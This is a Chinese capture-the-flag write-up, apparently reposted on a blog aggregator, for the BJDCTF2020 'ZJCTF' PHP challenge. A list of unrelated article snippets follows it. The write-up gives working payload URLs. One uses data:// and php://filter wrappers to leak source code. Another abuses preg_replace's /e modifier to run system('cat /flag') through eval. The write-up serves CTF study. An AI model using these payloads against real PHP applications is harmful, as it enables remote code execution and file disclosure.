[BJDCTF2020]ZJCTF,不过如此 1

涉及:php的伪协议、preg_replace函数的漏洞和正则表达式的运用。

解题步骤

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>
  1. 看到file_get_contents,直接用date协议,错不了; 看到include 直接filter协议,错不了
    http://8774b3af-5438-42c6-94f2-cc07fd011005.node5.buuoj.cn:81?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php在这里插入图片描述

  2. 进行base64解码,得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei', # 这里的正则表达式 通过/去切分,/() 和 /ei e模式是把子项当成php代码去执行,也就是说把传来的${getFlag()}当成代码去执行,i是把字符串变成大小写'strtolower("\\1")', # strtolower函数是把字符串变成小写,其实也就是\1,# 就比如这个pyload:/next.php?\S*=${getflag()}&cmd=system('cat /flag'); 第一子项就是${getflag},因为$str的值就是getflag();然后调用getflag函数。# 之所以用\S* 而不是.*是因为php会将传入的非法的参数名转成下滑线。#反向引用:对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数$str);
}
foreach($_GET as $re => $str) { # foreach会把$_GET请求的键和值 拿出来 如lh=cmd 则lh是键 cmd是值echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']); # 这里执行cmd的内容 即 system('cat /flag')
}  
  1. 构造pyload:
http://8774b3af-5438-42c6-94f2-cc07fd011005.node5.buuoj.cn:81/next.php?\S*=${getflag()}&cmd=system('cat /flag');

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/10747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

zookeeper安装集群模式

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 ZooKeeper是一个分…

梦幻西游全新变现,蓝海热门玩法,小白一部手机可操作,日入2000+

亲爱的朋友们&#xff0c;你们好&#xff01;今天我要给大家分享一个热门、可行的网络赚钱项目——梦幻西游全新变现&#xff0c;蓝海热门玩法&#xff0c;小白一部手机可操作&#xff0c;日入2000。 这个项目不需要花冤枉钱&#xff0c;也是我自己实操过的&#xff0c;非常可…

法语语式与时态总结,柯桥零基础学法语

常用语式 法语中的常用语式分为&#xff1a;直陈式、条件式、虚拟式、命令式、不定式与分词式。 直陈式&#xff08;lindicatif&#xff09;初学法语时首先就要学直陈式&#xff0c;也是最常用的语式&#xff0c;表示确实发生的动作。 条件式&#xff08;le conditionnel&am…

【C++】148 排序链表

给你链表的头结点 head &#xff0c;请将其按 升序 排列并返回 排序后的链表 。 对链表进行升序排序&#xff0c;常见的做法是使用归并排序&#xff08;Merge Sort&#xff09;算法。这种算法适用于链表的排序&#xff0c;并且具有稳定性和时间复杂度为 O(n log n) 的优点。 …

LeetCode 题目 119:杨辉三角 II

作者介绍&#xff1a;10年大厂数据\经营分析经验&#xff0c;现任字节跳动数据部门负责人。 会一些的技术&#xff1a;数据分析、算法、SQL、大数据相关、python&#xff0c;欢迎探讨交流 欢迎加入社区&#xff1a;码上找工作 作者专栏每日更新&#xff1a; LeetCode解锁1000题…

Redis——Redis的数据库结构、删除策略及淘汰策略

Redis是一个高性能的key-value存储系统&#xff0c;它支持多种数据结构&#xff0c;并提供了丰富的删除策略和淘汰策略。以下是关于Redis的数据库结构、删除策略及淘汰策略的详细介绍&#xff1a; Redis的数据库结构 Redis是一个key-value数据库&#xff0c;数据存储是以一个…

day06-07面向对象(高级)

面向对象(高级) 知识回顾: 1.面向对象基础 类的定义 对象的使用 private关键字 this关键字 封装 构造方法 JavaBean2.API 的使用 知识回顾 Scanner Random String Date1.继承 查看下述代码: 发现有什么问题&#xff1f; 你所抽取的代码没有了&#xff0c;怎么办&#xff1f…

【Qt-CMake】QT中cmak编译出现CMake Error: The source.. does not match the soused

QT中cmak编译出现CMake Error: The source… does not match the soused 分析 前提是该项目是从另一个路径的项目复制过来的&#xff0c;编写代码时发现无论怎样修改代码&#xff0c;运行后都没有任何变化&#xff0c;以为是qtbug&#xff0c;重构重启都没用&#xff0c;最后…

pyqt5将ui文件转为python文件

在pyqt5中使用 pyuic将ui文件转为py文件&#xff1a; 例如&#xff1a;将home.ui文件转为vio_detect.py文件&#xff0c;所需命令如下&#xff1a; pyuic5 -x home.ui -o vio_detect.py

XXE-lab靶场搭建

源码下载地址 https://github.com/c0ny1/xxe-lab1.php_xxe 直接放在php web页面下即可运行。 2.java_xxe java_xxe是serlvet项目&#xff0c;直接导入eclipse当中即可部署运行。 3.python_xxe: 安装好Flask模块python xxe.py 4.Csharp_xxe 直接导入VS中运行 phpstudy…

内存操作数及寻址方式

debug命令 debug命令&#xff0c;即DOS实用程序。DEBUG是一个DOS实用程序&#xff0c;是供程序员使用的程序调试工具&#xff0c;可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性&#xff0c;也可以追踪执行过程…

编程代码的舞者--Python循环语句

循环语句是编程中不可或缺的要素之一&#xff0c;它们能够让程序反复执行特定的任务&#xff0c;提高代码的重复利用性和效率。在本篇博客中&#xff0c;我们将深入探讨Python中常用的循环语句&#xff0c;包括for循环和while循环&#xff0c;以及控制循环流程的关键字break和c…

转载:ubuntu18.04 安装wine以及添加mono和gecko打开简单.net应用的方法

https://www.cnblogs.com/jinanxiaolaohu/p/12191576.html 1. 今天突然想试试能不能用ubuntu跑一下公司的.net的智能客户端(SmartClient). 想到的办法就是 安装wine 但是过程略坑..这里简单说一下总结之后的过程. 2. 第一步安装wine相关内容 查了下有winehq和wine两种. …

C语言如何证明联合体变量的所有成员是共享⼀个内存单元的?

一、问题 联合体⼜名共⽤体&#xff0c;⽤共⽤体这个名字更能体现这个类型的特点&#xff0c;那就是所有成员变量共⽤⼀个内存单元。 联合体变量的这⼀特点决定了联合体变量的使⽤⽅法&#xff0c;即在某⼀时刻只有⼀个成员有意义&#xff0c;其他成员⽆意义。那么&#xff0c;…

算法专题:位运算

目录 常见位运算总结 位运算相关算法题 1. 只出现一次的数字 2. 只出现一次的数字&#xff08;|||&#xff09; 3. 两整数之和 4. 只出现一次的数字&#xff08;||&#xff09; 常见位运算总结 在开始刷位运算这个类型的题目前&#xff0c;我想先带着大家学习一下一些常见…

程序员录制真人出镜类课程

真人出镜类课程片段的制作 接下来&#xff0c;我们来具体讲解真人出镜类课程片段的创建过程。 什么是真人出镜类课程片段 「真人出镜」类型的视频只需通过摄像头、手机或摄像机直接进行录制即可。然而&#xff0c;当涉及到真人出镜的课程时&#xff0c;情况就相对复杂一些。这…

手机在网状态多方面重要性

手机在网状态的重要性体现在多个方面&#xff0c;它是现代社会中人们保持联系、获取信息以及进行日常活动不可或缺的一部分。以下是一些关于手机在网状态重要性的详细解释&#xff1a; 通信联系&#xff1a; 手机是在现代社会中进行通信联系的主要工具。当手机处于在网状态时&…

【Python单点知识】类成员汇总讲解——包含类方法、静态方法、私有成员说明

文章目录 0. 前言1. 属性&#xff08;Attributes&#xff09;1.1 类属性&#xff08;Class Attributes&#xff09;1.2 实例属性&#xff08;Instance Attributes&#xff09; 2. 方法&#xff08;Methods&#xff09;2.1 实例方法&#xff08;Instance Methods&#xff09;2.2…

算法实战:亲自写红黑树之三 算法详解

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github&#xff1a;codetoys&#xff0c;所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的&#xff0c;可以在任何平台上使用。 此文承接&#xff1a;算法实战…

动态规划:力扣LCR 188. 买卖芯片的最佳时机

题目 数组 prices 记录了某芯片近期的交易价格&#xff0c;其中 prices[i] 表示的 i 天该芯片的价格。你只能选择 某一天 买入芯片&#xff0c;并选择在 未来的某一个不同的日子 卖出该芯片。请设计一个算法计算并返回你从这笔交易中能获取的最大利润。 如果你不能获取任何利…